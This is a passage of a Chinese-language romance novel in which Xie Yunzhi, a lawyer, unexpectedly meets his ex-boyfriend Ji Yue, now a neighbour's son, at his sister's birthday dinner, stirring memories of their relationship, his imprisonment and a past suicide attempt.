《落单》 1. 暗恋 大学的近代史课上,谢允执坐在后排靠窗的座位。微阴的天空中,偶尔掠过一两只麻雀或乌鸦。周围的空气里带着夏末秋初特有的潮湿闷热。 上过几次课后,大家已经知道讲台上的那位老师是“事不关己”的类型,在他的课上不管睡觉或是开小差都不会被点名,他不在乎学生是否认真听课,只要安安稳稳讲完自己的课程任务就好。 在座的多数是大一新生,也有几位因挂科重修的高年级学生。近代史的内容很多在高中时已经学过,听起来实在乏味,不少同学都趴在桌上打瞌睡,或是低头玩手机。 和那些同学不同,谢允执上课很少看手机。课程实在无聊得受不了时,他喜欢将目光移向窗外转移注意力。 九月的武汉仍处在雨季,窗外飘着鹅毛雨,纷纷扬扬,像是从天空中垂下的无数透明的琴弦。 下方能看到因迟到而快速奔跑的人,在树下边聊边笑的人,坐在长椅上看手机的人,他们完全没注意到有人在看着他们,毫不设防的样子,让人感到有趣。 昨晚在酒吧打工到今天凌晨四点,今早补觉时也没怎么睡好。谢允执左手撑在颊边,耷拉着眼皮,忍不住打了个哈欠。 “咯吱——”教室后方的铁门被推开,一男一女两个学生同时走进教室。 老师的讲解被这阵突兀动静打断,他扫了眼两名迟到的学生,皱了下眉,却也没说什么,又开始继续讲课。 谢允执下意识偏头朝那边望去,一个身材高大挺拔的男生进入他的视线。 他穿着一件黑色的夹克,五官立体,颈部线条凌厉分明,瞳孔漆黑且漫不经心,痞帅又冷淡。他光是站在那里,周围的空气都仿佛弥漫着荷尔蒙的味道。 前排的两个女生也在看他,忍不住低声私语:“那帅哥是哪个班的呀?” 和他一起进来的女生比他矮了半个头,穿着一件薄荷绿的连衣裙,黑长的卷发垂在肩头,洁白如玉的胳膊挽着男生的手臂。 后排空着的座位很多,季越和乔思凡却磁铁般紧紧地挨着坐在一起,任谁都看得出,他们是一对情侣。 因为那个人的出现,原本的困意一扫而光。 男生和女生垂在课桌下的手轻轻交握着,乔思凡晃着季越的手臂,似乎对他说了句什么,看样子像是在撒娇,季越脸上没什么表情,但眉眼放松,明显很吃这一套。 谢允执垂下眼睫,强迫自己移开视线。 乔思凡是法律系公认的系花,而季越则是医学系大二的学长,按理来说两人应该毫无交集。谢允执不知道他们俩是怎么认识的。 是通过联谊吗? 谢允执心里有一丝抽痛,浅浅的,几乎难以察觉,却是真实存在的。 高中时,他在学校里处于孤立的状态,没有朋友,也没有任何目标。直到他遇见季越,灰暗的生活才透进一丝光线。为了和他上同一所大学谢允执复读了一个高三。 为了提高自己的分数,他放弃了社交、娱乐,将一门心思都花在学习。 一年的时间差,对方在自己和他考上同一所大学时已经有了女朋友,这种可能性他不是没有设想过。可真正看到这一幕时,心脏还是不自觉地绞紧。 忍受了三十分钟后,下课铃声终于响起。学生们们陆陆续续从座位上起身。 谢允执将课本收进挎包里,打算离开教室,去上下一节课。走出门口时,一个声音却叫住了他:“谢允执。” 他扭头看去,季越就站在对面走廊离他不远的地方,视线在空中相撞,谢允执愣了一下。 没想到他还记得自己的名字。 “有事吗?”尽量平静地问。 随着季越走近,他分明的眉骨,微微上扬的嘴角越来越清晰。谢允执的心跳忍不住加快,像被风卷起的灰烬,明知道该熄灭,却不由自主地重新燃烧。 “近代史的笔记可以借我抄下吗?” 谢允执知道,他应该是帮乔思凡借的。心跳逐渐冷了下去。 “可以。”他从挎包里拿出近代史课本,交给季越。 “谢了,用完马上还你。” 季越接过课本,忽然凑近过来,盯着他的脸看了足有一秒钟: “你的眼睛怎么这么红?” 他失恋了,但这件事不能告诉任何人,尤其是眼前这个人。谢允执慌忙后退一步,和他拉开了距离。 “昨晚没睡好。” “失眠?”对方投来一道关心的视线。 谢允执低头,避开对方落在自己脸上的视线,指尖不自觉攥紧了挎包的背带,声音比刚才低了些:“不是,是因为昨天打工到很晚。” “你昨晚也在酒吧打工?” “嗯。我接下来还有课,先走了。” 说完,他便转身离开了那个人的身边。 来到下节课的教室后,谢允执再次偏头看向窗外。 雨幕下,穿着黑夹克的男生和穿着薄荷绿连衣裙的女生撑在同一把伞下,彼此的身体紧紧依偎着。男生的侧脸,和他高中时无数次在教室偷看过的影子重合,又很快随着撑伞的人拐过校门,消失在路的尽头。 淅淅沥沥的雨滴打在玻璃上,缓缓滑落,像一串串泪痕。 ...... “叮铃铃——” 谢允执抬手掐掉床头柜上的闹钟,睁开眼皮看了眼时间,刚刚早上七点。 昨晚熬夜整理资料,一直工作到凌晨三点休息。此刻他的大脑因睡眠不足而感到头痛欲裂,仰头望着白色的天花板,揉了揉太阳穴,意识清醒后,他才下了床。 拉开窗帘后,清晨的光线穿过玻璃照进屋内。细小的雨珠从敞开的窗缝落到地面上,和梦里一样,天上正下着小雨。 自从接受心理治疗后,他也已经很久没有梦到和季越有关的事了。算起来,他们已经有六年不曾见过面。自从和他分手后,谢允执并没有主动打听过和他有关的事。但还是从彼此的朋友那里,得知季越和女朋友一起去了英国。 他将头发撩到脑后,看着窗外出了会儿神。英国离上海有多远?他不知道,但应该是很长一段距离。 远处的屋檐上覆盖着积雪,像是在提醒他,梦里的那个夏天已经过去。对他而言,那个人终究只是一个陌路人。 二月的冷风迎面吹来,仿佛要将人身体的血液都凝固住。 谢允执关上窗户,玻璃上映出他的轮廓。一张成熟男人的脸,目光沉静而寡淡,像冬日的薄冰,锋利过头的眉眼。 他抬起手,手指轻轻拂过脖子上那道淡红色的伤痕。那道伤的像一道沉重的枷锁,提醒着他过去所发生的一切。 “不要再想他了,那个人不值得留恋。”他在心里对自己说。 洗漱完毕后,谢允执喝了杯速溶咖啡,换了一身黑色的冲锋衣。自从在律所工作后,他衣柜里的填充物就逐渐变成了清一色的西装,常服只有寥寥几件。这次回家他并不打算待太久,所以只带了一套换洗的衣物。 床头柜里还有以前心理医生给他开的药,为了以防万一,他将药也带在了身上。 八点十五分,他开车离开了公寓。 临近年关,又是早高峰,南北高架路上的车流十分拥挤。 到达淮海中路时已经是中午十一点。这条街两侧林立着许多老旧的建筑,大部分是上世纪八十年代建成的,清一色带着长方形的草坪,四周围绕着绿漆的铁栏杆。 停好车后,谢允执来到家门前,抬手敲了敲门。 “允执?”给他开门的人是一个系着围裙,打扮清淡的中年女人。 谢允执的外貌气质和出国前相比变了许多,谢雯花了一秒钟才反应过来,眼前的男人便是他的儿子。 “好久没见到你了,我还以为你今年也不回来。之前放假怎么都不回家呢?” 谢允执站在门口,思考着怎么回答这个问题。他上初中的时候父亲和母亲就离了婚。 谢允执高二时,谢雯辞去了银行的工作,跳槽去了一家证劵公司上班,后来炒股赚了些钱,因为跟金融公司的合作项目而认识了现在的丈夫宋至。 谢雯的前夫叫赵明峰,他们俩离婚后谢允执才改了名字,随母亲一个姓。 谢允执不知道谢雯是怎么看待自己的,从小谢雯对他就十分冷淡,现在她已经有了新的丈夫,新的家庭,他们俩的关系更不可能改变,毕竟他是她和那个人渣的儿子,是她人生里最想抹去的一个污点。 “抱歉,在新加坡的时候身体不太好,医生不建议我回国,刚工作也很忙,所以这几年没回家。” 明明是母子,对话却显得客气而生疏。 但谢雯已经习惯了谢允执这种态度,毕竟这种局面是她自己造成的。她拍了拍儿子的肩,柔声说:“刚上班应该都挺累的,适应就好了。外面很冷吧,你的脸都冻红了,快进屋吧。” 谢允执这才走进屋内。 “肚子饿不饿?午饭就快做好了,你先在沙发上坐会儿吧。桌上有水果和零食,可以先吃点填填肚子。”谢雯说。 “嗯,你慢慢做吧,我不太饿,吃了早饭才来的。”谢允执将礼品袋放在客厅的茶几上,扫视了一眼屋内,问:“宋承言没回来吗?” 宋至坐在沙发上,偏头说:“他说要跟女朋友去旅游,所以今年就不回家过年了。” 宋承言是宋至和前妻的儿子。研究生时和谢允执住在同一所房子里,自从硕士毕业后,他们俩就没怎么见面了。因为母亲的关系,宋承言和宋至的关系一直不太好。 宋至是在前妻尚未离世,还在住院的情况下和谢雯再婚 的。宋承言认为宋至背叛了他的母亲。对谢雯也充满了敌意,认为她是破坏别人家庭的第三者。 “比起他,还是苗苗乖多了。”提起亲生儿子,宋至眼神里透出一种无奈的黯然,“对了,最近苗苗老问哥哥什么时候回来,她可是很想你呢。” 苗苗是谢允执同母异父的妹妹宋苒的小名。 从进屋起,谢允执就听到一阵钢琴声。似乎是从宋苒的卧室传来的。 “苗苗在弹钢琴吗?” “是啊,从吃了早饭就一直在弹。去年她突然说想学,你妈妈就给她买了一架钢琴,周末请老师来教她,老师说她很有天赋,学得很快,现在已经能弹不少曲子了。” “我去看看她。” 谢允执来到二楼,宋苒的卧室门没关,扎着双马尾的少女坐在钢琴前,手指在琴键上翻飞着。 “苗苗。” 听到有人叫自己,少女偏头朝屋口看去。 认出那是谢允执后,宋苒错愕地睁大眼睛,迅速从椅子上蹦了下来:“哥哥!你什么时候来的?” “刚刚。” “是来给我过生日的吗?”她的眼睛闪闪发光,脸上洋溢着笑容,微微露出了虎牙。 “嗯。” “给我带礼物了吗?” “当然,在客厅的桌上。” “是什么?” “秘密,等晚上吃了蛋糕才能拆。” “呜呜,不要嘛,我现在就想拆。” 谢允执正色道:“不行,一定要晚上才能打开。” 宋苒没办法,知道撒娇对他没用,只好叹气道:“好吧。” 又说:“哥哥,陪我去买蛋糕吧。妈妈本来说陪我一起去的,但她还得做饭,我等不及了。” 谢允执说“好”,两个人便一起出了门。 上海的冬天是阴冷的,加之昨晚下了一夜的雨,出门时吸入肺里的空气简直像冰一般。 走下门口的台阶,谢允执注意到隔壁门口站着一个中年男人,宋苒停下脚步,主动和他打招呼:“韩叔叔,这么冷,你站在外面干什么呀?” 男人叫韩旭,是他们的邻居,在中山医院上班,是一位心外科医生。 四年前,谢雯在办公室突然晕倒,去中山医院检查时查出患有心脏病,后来她在医院做了手术,当时负责她的主治医师就是韩旭。 “在等我儿子。他第一次来这里,我怕他找不到路。”不知道他在门口等了多久,嘴唇已经冻得发紫,“你们俩要去哪儿呢? “今天是我生日,哥哥和我一起去买蛋糕。” “是吗,小寿星生日快乐啊。” “韩叔,你晚上有事吗?”谢允执问。 “没什么事,怎么了?” “晚上来我家一起吃饭吧。” 这是出门前谢雯交代的,让他们买完蛋糕记得叫隔壁的韩叔叔来家里吃饭。 “好,那我就不客气了。”韩旭经常去他们家蹭饭,也没客气,爽快地答应了。 谢允执和宋苒正准备离开,刚迈出几步,对面街道便拐进来一辆黑色SUV。巷子太窄,谢允执拉着宋苒退到街边,打算等那辆车先过,但轿车却在韩旭家门口停下。 “爸,车应该停哪儿?” 听到那声音的瞬间,谢允执的身体忽然僵住。 车窗徐徐降下,露出一张轮廓硬朗的脸。傍晚的阳光从云层的缝隙透下来,那些光线像是有质感般,沉沉地垂下来,却又轻得能随风微微晃动。 他的头发剪得极短,贴着头皮的青茬,衬得眉眼愈发深邃,带着一股压迫感,和记忆里的容貌相比更加成熟了,却又偏偏还是谢允执一眼就能认出来的模样。 季越抬头,隔着半米的距离,漆黑而锐利的视线和谢允执的目光对上。 谢允执的眉峰几不可察地蹙了一下。他没想到会在这里遇到季越,脑中一片混乱。 分开六年,他以为时间已经把自己对他的感情磨得很淡了,就算真的迎面撞上,也能像陌生人那样视而不见。可此刻人就站在面前,那些被压进心底的记忆还是瞬间冲破了防线,密密麻麻地裹得他喘不过气。 “从这条街出去右转就是停车场。你对这一带不熟,要不我带你去吧?”韩旭走到车边,低头对车里的人说。 季越看了眼车载地图:“不用了,我跟着导航走就行。” “韩叔叔,这就是你儿子吗?”宋苒眨了眨眼,盯着季越的脸看了一会儿。觉得他长得很好看,好像电影里的大明星。 “对,小谢,晚上我带着他一起去你们家蹭饭行吗?” 谢允执回过神来:“……当然可以。” 他并不想和季越一起吃饭,如果可以的话,他很想说“不行”,可惜现在的局面他没法拒绝。 2. 防线 “爸,你们认识?”季越靠着座背,一只搭在车窗边,姿势放松,眼睛却紧紧盯地着谢允执。 韩旭说:“他是隔壁邻居的儿子。” 季越朝四周扫了一眼,天空清明,积雪已从树上滑落,但是树下的雪和屋顶上的雪仍未消融。他想起来,自己以前来过这条街,他去过谢允执家几次,但这附近住宅看起来都大差不差,导致他一时没认出来隔壁就是他家。 “晚上去他们家吃饭?” “今天是他妹妹的生日,大家一起庆祝热闹点儿。不过,如果你想去外面吃也可以。” “不用,我跟你一起去。” 季越的目光移向谢允执身边那个扎着双马尾的小女孩,朝她笑了一下:“今天是你的生日?” “嗯。” “你叫什么名字?” “宋苒。” “那晚上就打扰了,宋苒小朋友。到时候给你送生日礼物。” 听到他说礼物,宋苒眼睛亮了亮,雀跃不已,像只小兔子似的地蹦了一下:“谢谢哥哥。” 他又开动了汽车。车轮碾过雪面,发出轻微的爆裂声。待车子驶出小巷后,谢允执和宋苒才继续朝前走去。 路上,谢允执仍在思忖着刚才的事。 他记得季越是继远集团董事长的儿子,后者名叫季近严,是一位经常上电视的富豪,哪怕是从不关注金融和商业的人也听过他的名字。可刚才韩旭却说季越是他的儿子。他在说谎吗?如果是这样,他为什么要说谎? 难道季越是为了见我,所以才故意装成韩旭的儿子吗? 不,不可能。他在心里否定。这怎么想都太不合理了,而且多少有点自作多情。为什么我会觉得他想见我?刚才,他可是从始至终一句话都没对我说过。 就好像陌生人一样。 但如果他们不是在演戏,那为什么季越会叫韩旭“爸”呢?那两人对话时的语气也很像一对父子。 心里充满了疑惑,使得谢允执在和宋苒一起选蛋糕时也有些心不在焉。脑海里冒出许多可能性,却都只是假设。真相到底如何,他无从得知。 算了,想这些有什么用。谢允执强迫自己止住思绪。反正他和季越早就已经分手了,现在这些事跟我并没有关系。 刚回到家,便闻到一阵食物的香气。餐桌上已经摆满了菜,有宋苒常吃的红烧排骨、可乐鸡翅,还有给谢雯补身体特意炖的低脂鱼汤,蒸腾的热气裹着香气往鼻子里钻。 宋至手里端着一盘刚炸好的藕盒,从厨房里走出来。 “宋叔,这些菜都是你做的吗?”谢允执问。 “对,你妈妈临时有个视频会议要开,所以今天晚上我做饭。” “你手艺真好。”谢允执看着桌上琳琅满目的菜肴,由衷夸赞道。 “你要不也跟他学学怎么做饭?” 刚开完会的谢雯从书房走出来,站在大理石旋梯上,听到二人的对话,忍不住接话道,“找女朋友的时候,这可是个加分项。” 宋苒正在把围巾从脖子取下来,脑子里浮现出自家哥哥系上围裙的样子,那副装扮和他的气质实在很割裂,她忍不住捂着嘴咯咯地笑了起来。 “哥哥也要学做饭吗?” “能学当然是最好的,现在的年轻人总点外卖,那些油盐都重,吃多了对身体不好。”谢雯刚才开会讲了不少话,嗓子有点干,她喝了口温水,认真道: “而且男人以后要是成了家,就要就悉心照顾自己的妻子,妻子身体不适的时候,也能给她熬一碗热粥,做顿舒服的饭菜,总比让她硬撑着起身下厨强。”说完后,她用一个微妙的眼神看着谢允执。 “允执,在公司有没有遇到喜欢的女孩子?你已经二十八岁了,也该放在心上了。别总一门心思扑在事业上,也得考虑考虑成家的事了。” 谢雯有心脏病,所以谢允执一直没把自己的性取向告诉她,家里人只有宋承言知道他喜欢男人,谢允执从没考虑过跟女人结婚,这会儿也只能含糊:“嗯,我心里有数。” 谢雯还想再说点什么,这时,玄关处却突然响起敲门声。 谢雯便转身去开了门。屋外站着的人是韩旭和季越。 韩旭手里提着两瓶红酒,季越也带了给宋苒准备的礼物。 “韩医生,你旁边这位是?” 谢雯的目光在他身旁那位眉眼英俊的年轻人身上打了个转,嘴角带着浅淡的笑意发问。 韩旭闻言侧过身,抬手介绍道:“这是我儿子,季越,今天正好回家,就跟着过来拜访了。”季越对着谢雯露出得体的笑,谢雯侧身把两人让进来:“快进来坐吧,别站在门口了。” 吃饭的时候,谢雯问:“小季现在在做什么工作啊?” 季越:“在医院上班。” 谢雯:“也在中山医院吗?” 季越:“不,我在宝山区人民医院上班。” 谢允执记得那家医院就在他工作的事务所附近。是巧合吗?他不知道他是什么时候去那里工作的。这和他想象中季越的未来有些不一样。他不是应该在英国吗?为什么会回国? 谢雯似乎很喜欢季越,和他聊了许多事。谢允执想,或许比起自己,她更想要一个季越那样的孩子吧。 “小谢,尝尝这个。”韩旭给一直沉默着的谢允执夹了点水煮牛肉片,上面沾着辣椒和红油,宋至的老家在重庆,所以爱吃重口味的食物。谢允执不太能吃辣,但也没有拒绝。 “小季今年多大了?”谢雯问。 “二十八岁。” “跟我们家允执同岁啊。” 谢允执正打算尝试挑战一下自己的味蕾,突然听到他妈说:“小季结婚了吗?” 谢允执冷不防被呛了一下。辣味冲进鼻腔,他忍不住扭头咳嗽起来。 面前出现一只修长的手,季越递了一杯凉白开过来。 “谢谢。”谢允执接过杯子,指尖擦过对方微凉的指腹,连忙抿了一大口凉水,才把那股辣意压下去。 季越笑了笑,收回手的时候开口答谢雯的话:“还没呢,一直单着。” 说谎。谢允执心想,他明明已经和女人结了婚。 宋至顺着话头打趣:“小季这么优秀怎么会单着,是不是眼光太高?” 谢允执攥着玻璃杯,冰凉的液体压下了喉咙里的灼烧感,心里却翻涌起一种说不清道不明的情绪。他听见季越慢悠悠开口,“我已经遇到了喜欢的人,只是他暂时还不能和我结婚。” 饭桌上瞬时静了一瞬。谢允执捏着杯子的指尖微微发紧,抬眼往瞥了一眼斜对面,正对上季越认真而坚定的视线,那眼神清清亮亮的,像早就在等着他看过来。 谢允执故作镇定地移开目光。 “你说的那个人,是你在医院的同事吗?”谢雯问。 “不,是我的大学同学。不过大学毕业以后,我们就再也没见过了。”他语气平淡地说:“我一直想向他求婚,可惜没有机会。” 这句话像颗小石子投进平静的水里,谢允执握着杯子的手指猛地收紧,硌得指节泛白。他说的那个人是谁?他爱着的人到底是是谁?喉咙里莫名泛起刚才那阵辣味,烧得他心口发颤。 “是吗,可惜了。”谢雯说。 “我到现在还忘不了他,所以暂时不想结婚。” “说不定那姑娘已经结婚了呢。” “那我大概就会死心吧。我从大学时起就一直喜欢他,除非他真的结婚了,否则我是不会放弃的。只要他还是单身,我觉得我应该还有机会。” “你们不是从大学毕业后就没见过面了吗?” “是我说错了,其实不久前,我们才见过一面。” “她也在上海吗?” “嗯。” “这样啊,好事多磨,慢慢来肯定能成的。”谢雯说。 谢允执的脸上则自始至终没有笑容。白皙的肌肤此刻略显苍白。他深爱着某个人,但那个人不是我。所以六年前,他才会和我分手。 饭桌上,关于季越和“那个女孩”的话题仍在持续着。大家有说有笑,谢允执却感到如坐针毡,他已经一句都听不进去了。 韩旭打开了他带来的红酒,要给谢允执倒酒。谢允执本想拒绝,但他还没来得及开口,季越就说: “爸,他不喝酒。” “是吗?”韩旭愣了一下,看向谢允执:“小谢不能喝酒吗?” “是的。我对酒精过敏。” 谢雯疑惑道:“小季,你怎么知道他不能喝酒的?” 谢允执对酒精过敏的事,应该只有他们家的人知道才对。 “我和他是高中同学。”季越说,“他以前亲口告诉我的,说自己对酒精过敏。” 谢允执本以为,季越打算一直和他保持陌生人的关系。没想到他却把这件事当众说了出来。 他们不仅是高中同学,也是大学同学。而且大学时交往过一段时间。但大概是为了避免和刚才他说喜欢过的那个人的事联系到一起,季越只说了他们是高中同学。 “原来你们俩早就认识了,哥哥,你怎么不早说啊。”一直在听大人们讲话的宋苒,忍不住插嘴道。 谢雯说:“都说学生时代交到的朋友,是一辈子的缘分。看来你们俩挺有缘分的,毕业许多年了还能重新聚到一起。小季,以后有时间也多来阿姨家玩啊。” 季越点点头:“好的,谢阿姨。” 3. 喜欢你 吃完饭后,大家开始吃蛋糕。谢允执不太喜欢吃甜的,他离开餐桌,在沙发上坐下。季越和宋苒站在窗户旁,似乎在聊些什么。但从这个位置听不清他们的谈话。 就在这时,宋苒突然扭头看了谢允执一眼。谢允执正端起茶杯喝茶,并没有注意到她的视线。季越说了句什么,然后宋苒点点头,吃掉盘子里的最后一块蛋糕,小跑着来到谢允执面前。 “哥哥。” “怎么了?”谢允执放下手里的杯子,偏头看着她。 “小季哥哥说想弹一首曲子给你听。” 谢允执面无表情地看了季越一眼,发现对方也在看着他。 “咱们一起去二楼吧。我也想听他弹琴。”宋苒说着拽住谢允执的袖子,将他从沙发上拖了起来。 自己率先朝二楼走去。 谢允执只好跟了上。季越站在楼梯口,好像在等着他过来。 及至来到他面前后,谢允执才第一次主动和他说话,压低声音问了一句:“你想做什么?” “待会儿你就知道了。” 季越说完后,也转身走上了楼梯。谢允执犹豫了一瞬,还是跟了上去。 两人来到宋苒的卧室。 宋苒将钢琴的琴盖打开,问道:“小季哥哥,你要弹什么曲子呀?” “你可能没听过,是一首粤语歌改编的钢琴曲。”季越在凳子上坐下。他的母亲是国际知名的钢琴家,受母亲影响,他从小便开始学习钢琴。虽然他和母亲不一样,对这种乐器称不上有多么喜欢,但还是一直坚持学了下去。 指尖落在黑白琴键上,第一个音落下来的时候,整个房间都安静了。宋苒搬了小凳子坐在旁边,安安静静地托着腮听,琴音由低转高,谢允执很快就听出了他弹奏的是什么曲子。 是Beyond的《喜欢你》。 季越想知道谢允执是什么反应。眼角余光瞥了他一眼,心想:他比从前更好看了,可是也比以前更加冷漠绝情了。 谢允执垂在身侧的手指几不可察地蜷缩了一下,面上却依旧没什么表情,只有眼底翻涌着他自己都没察觉的情绪。 他想起以前季越把他压在身下时,对他说过很多次说:“喜欢你。”谢允执在床上很乖,接吻的时候皮肤会泛起不正常的红,喜欢用双手紧紧抱住他的腰,漆黑的眼睛里覆着一层水,看起来特别惹人怜爱。 季越往往舍不得他太痛,但也喜欢看他因为激烈的快gan而流泪的样子。 但现在谢允执知道了,能轻易说出口的喜欢往往并不是出于真心。季越能轻易对自己说出喜欢,也能轻易将那份喜欢给收回。 《喜欢你》这首歌的氛围是深情而略带伤感的,表达的是对过去的恋人的怀念和无法在一起的遗憾,所以旋律听起来温柔,却也带着一种淡淡的苦涩。 谢允执不知道分开的这几年,季越对别人说过多少次喜欢。他不知道季越故意在他面前弹这首歌是什么意思,是在试探我吗? 认为我听到你弹这首歌会很开心?认为直到现在,我还爱着你? 不,你错了。 谢允执早就不是当初那个对初恋情人充满滤镜的少年了。比起爱,他现在心情用心灰意冷来形容更加贴切。 你以为对我说一句喜欢你,我就会原谅你吗?绝不可能。 再也无法忍受,谢允执将手掌按在钢琴上,冷冷道:“够了,别再弹了。” 他的力气很大,一阵低沉的音调在房间内回响。季越停了下来,连坐在一旁的宋苒被吓了一跳,忍不住“啊”的一声叫了出来。 宋苒第一次见哥哥这么生气的样子。她并不知道这是首情歌,也不知道为什么哥哥会突然发火。她有些心疼自己的钢琴,她一直觉得哥哥是个温柔的人,没想到原来他生气时看起来这么可怕,几乎有一瞬间,谢允执脸上冷峻的表情甚至让她想起了小时候绑架自己的坏人。但她随即又在心里否认,不,虽然他和那坏人是父子,但他们俩可不一样…… “这首歌,你还是弹给其他人听吧。”丢下这句话后,谢允执离开了房间。 季越有种被当头泼了盆冷水的感觉,却仍故作镇定。他盯着还留着谢允执掌温的琴键,姿态还是那副吊儿郎当的模样,但下颌线却绷着一道锋利的弧度,整个人的气压低得能让三米内的空气都冻结成冰。 …… 季越和韩旭回家后,谢允执和宋苒帮忙收拾餐桌。 “妈妈,为什么韩叔叔的儿子姓季啊?”宋苒忍不住问。 “我也觉得奇怪,说不定他也是随母亲姓的。” 谢允执把装了瓜果皮、烟头和剩饭剩菜的袋子系好拎到一边。听到母亲的话,忍不住在心里反驳,不对,他妈妈姓梁。 他以前见过她几次,梁芸是个很漂亮的女人。有可能她和季近严离了婚,之后又嫁给了韩旭,否则这件事怎么也说不通。 收拾好餐桌后,谢允执想帮忙洗碗,谢雯却说:“我自己洗吧,你去休息就好。”谢允执于是回到客厅,宋苒把垃圾扔出去后,跑到他身边,兴冲冲地说:“我刚刚出去又遇到小季哥哥了,他长得真好看啊,好像童话里的王子。” “你喜欢他吗?”谢允执问。 宋苒难得露出害羞的模样,红着脸说:“是呀,他不仅长得好看,钢琴也弹得很好。” 谢允执喝了口茶,没有接话,眉头却微微蹙起。 对于宋苒这番话,他并不感到意外。从高中那时起,季越身边就从来不缺人喜欢他。 课间的走廊,食堂的窗口,放学后的校门口,他往哪儿一站,哪里就会自动成为人群的中心。他天生就有那种本事,让所有人都觉得跟他待在一起是件舒服的事。不是刻意讨好,也不是八面玲珑,他是那种会自然地替你挡住推搡的人群,顺手帮你拿一下书包,在你不舒服时不动声色地递上一瓶水的人。 可这种人,偏偏最让人不甘心。 因为你分不清他那些温柔究竟是独一份的,还是顺手洒向所有人的。 他想起高二那年,校庆晚会前一天,季越在钢琴教室练习《麦恩莉》,教室外面的走廊上站满了女生,有人在尖叫,有人在录像。 那时候谢允执就知道,自己 和他截然不同。 不是他不够好。 是季越太好了,好到让所有“喜欢”都变得理所当然,所以高中时,他没敢对他表白,识相地将自己心意划归到了“不自量力”那一栏。 谢允执放下茶杯,宋苒感觉出他心情不太好,想起刚才在房间里发生的事,问道: “哥哥,你不喜欢他吗?” 谢允执愣了一瞬,说:“喜欢过,现在不喜欢了。” 那个人是童话里人见人爱的王子,故事里王子最终总会和公主在一起,现实也一样。自己不过是个普通人,本就不该喜欢上这样一个被万千宠爱环绕的人。 晚上洗完澡回到卧室后,谢允执的手机忽然震动了一下。他打开手机,看到一条本地新闻推送,上面说,今晚出现了月虹。 谢允执走到阳台上,看见月亮边果然有一道彩虹。 彩虹不只是白天的专利。新月之夜,月光经过雨滴的折射,会形成一条在夜色中流淌的银色或白色彩虹,极为罕见。 相比太阳的炽热,月光下的彩虹温柔得多。据说那条淡淡的月虹是连接现实与梦境的桥梁。月虹出现的时候,常常有奇迹会发生。 新闻上说,如果对着月虹许愿,愿望就有可能成真。 但谢允执已经过了会相信奇迹或是这种都市传说的年纪。 “咔嚓。”隔壁突然响起一阵快门声。谢允执别过头,看到季越举着手机对着月亮拍了张照。 像是察觉到他的视线,对方也偏头看了他一眼,那双总是轻佻的、混不吝的眼睛里,忽然涌上来一种很柔情的水光。 谢允执的心跳骤然停了一拍,像是被什么东西烫到。他移开目光,利落干脆地转身回了屋。 他害怕停留超过一秒,那些花了几年、几百个日夜去掩埋的东西,就会像潮水一样涌回来,让他变成过去那个可笑的、走不出来的、一厢情愿的傻瓜。 谢允执的背影消失后,季越低下头,用鞋尖碾了一下地上的石子,他碾得很用力,甚至脚底都被硌得有些疼。但再抬起头时,他的眼神已经恢复了那种懒洋洋的散漫,嘴角那抹温柔的笑意却消失无踪。 …… 回到卧室后,谢允执就上了床。可是这天晚上,他又做了有关那个人的梦。第二天醒来时,心情不免有些郁闷。 早上吃完饭后,谢雯说家里的果汁喝完了,让谢允执出门买点果汁,顺便再买些菜回来。 超市在和他们家相对的另一条街道上,谢允执出门后走了没多久,再一次在巷子口遇到了那个人。 朔风卷着碎雪沫子刮过街角,季越嘴里叼着根烟,烟身燃着一点明灭的红光,淡青色的烟雾混着他呼出的白气,慢悠悠地朝半空飘去。 他穿着一件棕色的夹克,黑裤子,短靴,中午的阳光从侧面打下来,在他英挺的下颌线投下一小片阴影。看见他出来,季越舌尖抵了抵腮帮子,随手取下烟,指节一弹就精准扔进了路边的垃圾桶。 谢允执觉得他简直有些阴魂不散。想装没看见,经过他身边时,对方却突然叫了他的名字:“谢允执。” 4. 对不起 谢允执没打算理他,可是恰好在这一秒,绿灯变成了红灯。街道上原本静止的车辆开始流动起来。他只好停下脚步,扭头看着身边的男人问: “有事吗?” 他的睫毛很长,在眼睑投下一小片阴影,眼神里带着毫不掩饰的疏离,语气也十分冷淡。 季越有很多事想问他,他的目光笔直地落在他脸上,之后往下滑,看向谢允执立起的的冲锋衣衣领。昨晚一起吃饭的时候,他看见那里有一道淡红色的伤痕。 六年前,他准备去英国的时候,顾存曾经打电话给他告诉他谢允执在监狱里自杀了。 顾存是谢允执大学时的室友,也是和季越一起长大的发小。 谢允执被送进医院后,顾存把季越骂了一顿,还说“都是因为你,谢允执才会想不开的,要是他有什么三长两短,老子就跟你绝交,我他妈这辈子都不会原谅你。” “好久不见了。你现在过得还好吗?”季越其实想问他出狱的事,却又觉得这是个禁忌的话题,不应该再被提起,只好换了一个更温和的话题。 谢允执眉峰没动,视线在他脸上扫过,只淡淡回了句“还行”。 空气又沉默下来。白雪缓缓从天空坠落,掉在二人肩头,很快融化,消失得无影无踪。 谢允执能猜到他想问什么,却没有主动开口解释。刚入狱的时候,他一直想告诉季越自己没有杀人,那时他以为只要洗刷自己的冤屈,他们就还能在一起,可是过去那么多年,当时的心情已经不复存在。 毕竟这六年来,季越从没有来找过他一次。如果他想复合,不会对他不闻不问。谢允执早就明白了,一切都只是自己的一厢情愿。毕竟季越并不是天生的gay,他长相俊朗,家境优渥,是众星捧月般的天之骄子。而自己,不过是个普通人。比起自己,他有更多更好的选择。 不管季越相信他,或者不信他,对现在的谢允执而言都已经不重要了。哪怕他以为自己是杀人犯也无所谓,或者说这样反而更好,这样他就会离自己远远的。 绿灯还有三十秒,季越沉默了一会儿,才又开口说道: “顾存就要结婚了,他的婚礼,你会去吗?” 顾存是谢允执大学时关系最好的哥们儿,但是出狱后,谢允执就切断了和他联系。为了忘掉季越,他去了新加坡,换了以前的电话和邮箱,不仅是顾存,他和两人以前的共同好友都断绝了来往,因此并不知道他们现在的近况。 “不会。” 谢允执回答得很干脆。一副事不关己的样子。 “是因为我吗?” 谢允执没有否认。 “你放心,要是你不想见到我,我是不会去的。我知道你在生我的气,但你没必要也躲着他。顾存一直很想再见你一面,你们俩不是最好的朋友吗?你以前说过,他结婚时要当他的伴郎的。”谢允执以前的确说过这样的话。他心里产生了一丝动摇。 这时,红灯闪烁了一下,行人通行的绿灯亮起。谢允执没再和他多说什么,走上了人行横道。 季越没有跟上去,仍停在原地,注视着他走远。从超市买完东西回家时,谢允执发现季越还站在十字路口的红绿灯下,像是一直在等他。 回家只有这一条路,谢允执只好再次从他身边经过。 “喂。” 季越又叫住了他。 “你就没什么话想对我说吗?”他的眼尾斜挑着,带着点漫不经心的痞气,被冷风熏得微微泛红。 “没有。” 